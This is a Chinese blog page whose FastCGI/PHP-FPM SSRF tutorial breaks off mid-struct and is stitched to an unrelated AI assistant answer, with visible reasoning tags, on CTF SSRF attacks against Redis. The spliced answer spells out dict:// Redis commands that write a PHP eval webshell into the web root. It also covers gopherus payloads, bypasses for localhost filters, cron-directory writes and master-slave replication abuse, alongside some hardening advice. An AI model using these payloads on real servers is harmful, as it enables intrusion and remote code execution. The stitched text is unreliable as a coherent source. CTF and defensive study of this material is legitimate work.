SSRF--gopher协议打FastCGI

本文详细介绍了FastCGI的概念、工作原理以及与CGI的区别,阐述了Web服务器(如Apache、Nginx)如何通过FastCGI与PHP-FPM交互。同时,文章深入讲解了FastCGI协议结构、PHP-FPM的运行机制,以及PHP-FPM的非授权访问漏洞和SSRF攻击。此外,提供了利用FastCGI漏洞的攻击方法,包括构造特定的FastCGI请求来执行任意代码。

FastCGI

定义:

什么是CGI
CGI全称"通用网关接口"(Common Gateway Interface),用于HTTP服务器与其它机器上的程序服务通信
交流的一种工具,CGI程序须运行在网络服务器上。

传统CGI接口方式的主要缺点是性能较差,因为每次HTTP服务器遇到动态程序时都需要重启解析器来执行
解析,然后结果被返回给HTTP服务器。这在处理高并发访问几乎是不可用的,因此就诞生了FastCGI。另
外传统的CGI接口方式安全性也很差。
什么是FastCGI
FastCGI是一个可伸缩地、高速地在HTTP服务器和动态脚本语言间通信的接口(FastCGI接口在Linux下是
socket(可以是文件socket,也可以是ip socket)),主要优点是把动态语言和HTTP服务器分离开来。多
数流行的HTTP服务器都支持FastCGI,包括Apache、Nginx和lightpd。

同时,FastCGI也被许多脚本语言所支持,比较流行的脚本语言之一为PHP。FastCGI接口方式采用C/S架
构,可以将HTTP服务器和脚本解析服务器分开,同时在脚本解析服务器上启动一个或多个脚本解析守护进
程。当HTTP服务器每次遇到动态程序时,可以将其直接交付给FastCGI进程执行,然后将得到的结构返回
给浏览器。这种方式可以让HTTP服务器专一地处理静态请求或者将动态脚本服务器的结果返回给客户端,
这在很大程度上提高了整个应用系统的性能。
什么是web服务器(web中间件)
Web服务器一般指网站服务器,是指驻留于因特网上某种类型计算机的程序,可以处理浏览器等Web客户端
的请求并返回相应响应,也可以放置网站文件,让全世界浏览;可以放置数据文件,让全世界下载。目前最
主流的三个Web服务器是Apache、 Nginx 、IIS。
运行原理

1.浏览器访问静态网页过程:

在整个网页的访问过程中,Web容器(例如Apache、Nginx)只担任着内容分发者的身份,当访问静态网站的
主页时,Web容器会到网站的相应目录中查找主页文件,然后发送给用户的浏览器

img

2.浏览器访问动态页面

当访问动态网站的主页时,根据容器的配置文件,它知道这个页面不是静态页面,web容器就会去找PHP解
析器来进行处理(这里以Apache为例),它会把这个请求进行简单的处理,然后交给PHP解释器

img

当Apache收到用户对 index.php 的请求后,如果使用的是CGI,会启动对应的 CGI 程序,对应在这里就是
PHP的解析器。接下来PHP解析器会解析php.ini文件,初始化执行环境,然后处理请求,再以规定CGI规定
的格式返回处理后的结果,退出进程,Web server再把结果返回给浏览器。这就是一个完整的动态PHP 
Web访问流程。

对于php中,web访问顺序:

web浏览器------>web中间件(web服务器)------->php服务器----->数据库

关于CGI和FastCGI的运行原理

下面是Nginx FastCGI的运行原理

Nginx不支持对外部动态程序的直接调用或者解析,所有的外部程序(包括PHP)必须通过FastCGI接口来
调用。FastCGI接口在Linux下是socket(可以是文件socket,也可以是ip socket)。为了调用CGI程序,还
需要一个FastCGI的wrapper,这个wrapper绑定在某个固定socket上,如端口或者文件socket。当Nginx将
CGI请求发送给这个socket的时候,通过FastCGI接口,wrapper接收到请求,然后派生出一个新的线程,这
个线程调用解释器或者外部程序处理脚本并读取返回数据;接着,wrapper再将返回的数据通过FastCGI接
口,沿着固定的socket传递给Nginx;最后,Nginx将返回的数据发送给客户端,这就是Nginx+FastCGI的整
个运作过程。

img

关于Java的: Java中常用WEB服务器和应用服务器_ZCC的专栏-优快云博客_应用服务器

那什么又是FPM?

FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。

也就是说php-fpm是FastCGI的一个具体实现,并且提供了进程管理的功能,在其中的进程中,包含了
master和worker进程,这个在后面我们进行环境搭建的时候可以通过命令查看。其中master 进程负责与 
Web 服务器进行通信,接收 HTTP 请求,再将请求转发给 worker 进程进行处理,worker 进程主要负责动
态执行 PHP 代码,处理完成后,将处理结果返回给 Web 服务器,再由 Web 服务器将结果发送给客户端。

FastCGI攻击原理

FastCGI协议
HTTP协议是浏览器和服务器中间件进行数据交换的协议,类比HTTP协议来说,fastcgi协议则是服务器中间
件和某个语言后端(如PHP-FPM)进行数据交换的协议。

Fastcgi协议由多个record组成,record也有header和body一说,服务器中间件将这二者按照fastcgi的规则封
装好发送给语言后端(PHP-FPM),语言后端(PHP-FPM)解码以后拿到具体数据,进行指定操作,并将
结果再按照该协议封装好后返回给服务器中间件。

record的头固定8个字节,body是由头中的contentLength指定,其结构如下:

typedef struct {
   
   
  /* Header */
  unsigned char version; // 版本
  unsigned char type; // 本次record的类型
  unsigned char requestIdB1; // 本次record对应的请求id
  unsigned char requestIdB0;
  unsigned char contentLengthB1; // body体的大小
  unsigned char contentLengthB0;
  unsigned char paddingLength; // 额外块大小
  unsigned char reserved; 

  /* Body */
  unsigned char contentData
<think>我们正在讨论CTF比赛中与SSRF(Server-SideRequestForgery)和Redis相关的攻击或防御技巧。根据提供的引用,攻击者常利用SSRF漏洞通过特定的协议(如dict或gopher)与内网的Redis服务交互,进而实现未授权访问、写入Webshell或执行其他恶意操作。以下是相关的攻击技巧和防御方法的总结:###攻击技巧1.**利用dict协议攻击Redis**(引用[1]):-通过SSRF发送dict协议的请求到Redis服务,可以执行Redis命令。-典型攻击步骤:-设置Redis的工作目录:`configsetdir/var/www/html`-设置保存的文件名:`configsetdbfilenamewebshell.php`-写入Webshell内容:`settest"<?php@eval($_POST['cmd']);?>"`(注意:这里的引号需要正确转义)-保存:`save`-这样就在Web目录下写入了webshell.php文件,攻击者可以通过蚁剑等工具连接。2.**利用gopher协议攻击Redis**(引用[2]):-gopher协议功能更强大,可以发送多行命令。-使用工具(如gopherus)生成攻击payload:-生成Redis的payload:`./gopherus.py--exploitredis`-输入要执行的PHP代码(如`<?phpeval($_POST["123"]);?>`),生成gopher链接。-由于gopher协议在传输中需要正确编码,通常需要二次URL编码。-将生成的payload通过SSRF漏洞发送,即可在目标服务器上写入Webshell。3.**绕过过滤**(引用[3]):-题目中可能过滤了`file://`、`dict`、`127.0.0.1`、`localhost`等关键词。-绕过方法:-使用IP的十进制表示(如`2130706433`代表`127.0.0.1`)或`0.0.0.0`。-使用DNS重绑定技术。-使用非标准端口或协议(如http协议访问Redis的6379端口,但Redis不支持HTTP,所以通常用gopher或dict)。-利用URL解析特性,如`http://abc@127.0.0.1`、`http://127.0.0.1:80@evil.com`等。###防御技巧1.**过滤输入**:-对用户输入的URL进行严格检查,禁止访问内网IP和特殊协议(如dict、gopher)。-使用正则表达式过滤,但要注意绕过技巧(如IP的多种表示形式)。2.**限制协议**:-只允许HTTP/HTTPS协议,禁止其他协议。3.**网络隔离**:-将关键服务(如Redis)置于内网,并设置防火墙规则,禁止外部访问。4.**Redis安全配置**:-为Redis设置强密码认证。-限制Redis的绑定IP(不要绑定在0.0.0.0)。-以低权限用户运行Redis,并限制其文件写入权限。5.**使用SSRF防护机制**:-在服务端设置请求的目标地址白名单。-使用DNS解析并验证目标IP是否在允许范围内。###示例:攻击Redis写入Webshell假设存在SSRF漏洞,且内网Redis无认证,攻击者可以构造如下dict协议的请求(注意空格和换行需要正确编码):```dict://127.0.0.1:6379/configsetdir/var/www/htmldict://127.0.0.1:6379/configsetdbfilenameshell.phpdict://127.0.0.1:6379/settest"<?php@eval($_POST['cmd']);?>"dict://127.0.0.1:6379/save```但实际中,由于dict协议一次只能发送一个命令,且需要多个请求,因此通常使用gopher协议在一个请求中发送多个命令。###注意事项-在CTF中,Redis可能运行在非默认端口或需要绕过过滤。-写入Webshell的路径需要可写,且Web服务器能够解析。§§相关问题§§1.如何防御SSRF攻击Redis?2.在CTF中,如果过滤了dict和gopher协议,还有哪些方法可以利用SSRF攻击Redis?3.Redis除了写入Webshell,还可以利用SSRF进行哪些攻击?</think>### CTF SSRF Redis攻击与防御技巧 在CTF比赛中,SSRF(服务端请求伪造)结合Redis的攻击是常见题型。以下是关键技巧总结: --- #### **攻击技巧(利用SSRF操作Redis)** 1. **协议利用** - **dict协议**:直接发送Redis命令(需URL编码) ```http dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/var/www/html ``` - **gopher协议**(更强大):支持多行命令,常用工具`gopherus`生成Payload ```python # 生成Payload示例(自动处理换行编码) ./gopherus.py --exploit redis ``` 2. **写入Webshell** - 经典四步操作: ```redis CONFIG SET dir /var/www/html # 设置保存目录 CONFIG SET dbfilename shell.php # 设置文件名 SET payload "<?php eval($_POST['cmd']);?>" # 写入恶意代码 SAVE # 保存到文件 ``` - 需注意特殊字符转义(如`<`需转为`<`) 3. **绕过过滤** - **IP绕过**:用`0.0.0.0`、`2130706433`(127.0.0.1的整数形式)或`localhost`替代 - **协议绕过**:若过滤`dict/gopher`,尝试`http://0.0.0.0:6379/?`(需Redis支持HTTP) - **分块编码**:对Payload二次URL编码(引用[2]示例) 4. **其他利用方式** - 写计划任务:`CONFIG SET dir /var/spool/cron/` - 主从复制攻击:通过`SLAVEOF`命令控制Redis从恶意服务器加载模块 - 读取敏感文件:`CONFIG GET *`获取Redis配置 --- #### **防御技巧** 1. **输入过滤** - 协议黑名单:禁用`file://`、`dict://`、`gopher://` - IP/域名限制:过滤`127.0.0.1`、`localhost`、内网IP段 - 正则强化:检测异常路径(如`/var/spool/cron`) 2. **Redis加固** ```bash # 关键配置 bind 127.0.0.1 # 只监听本地 requirepass "强密码" # 启用认证 rename-command CONFIG "" # 禁用危险命令 ``` 3. **服务隔离** - 将Redis部署在内网,禁止公网访问 - 使用防火墙限制6379端口的来源IP 4. **权限控制** - Redis以低权限用户运行(非root) - 限制Web目录写权限(防止写Shell) --- #### **CTF实战要点** 1. **判断Redis存在**:尝试访问`http://target:6379`若返回`-ERR wrong number of arguments`则存在。 2. **编码处理**: - 使用工具(如gopherus)自动生成编码后的Payload - 二次URL编码绕过WAF(引用[2]案例) 3. **回显利用**:若命令无回显,可通过延时或DNS外带数据判断执行结果。 > 参考案例:某CTF题通过SSRFgopher协议发送Redis命令写入Webshell,最终用蚁剑连接获取flag(引用[2])。 ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值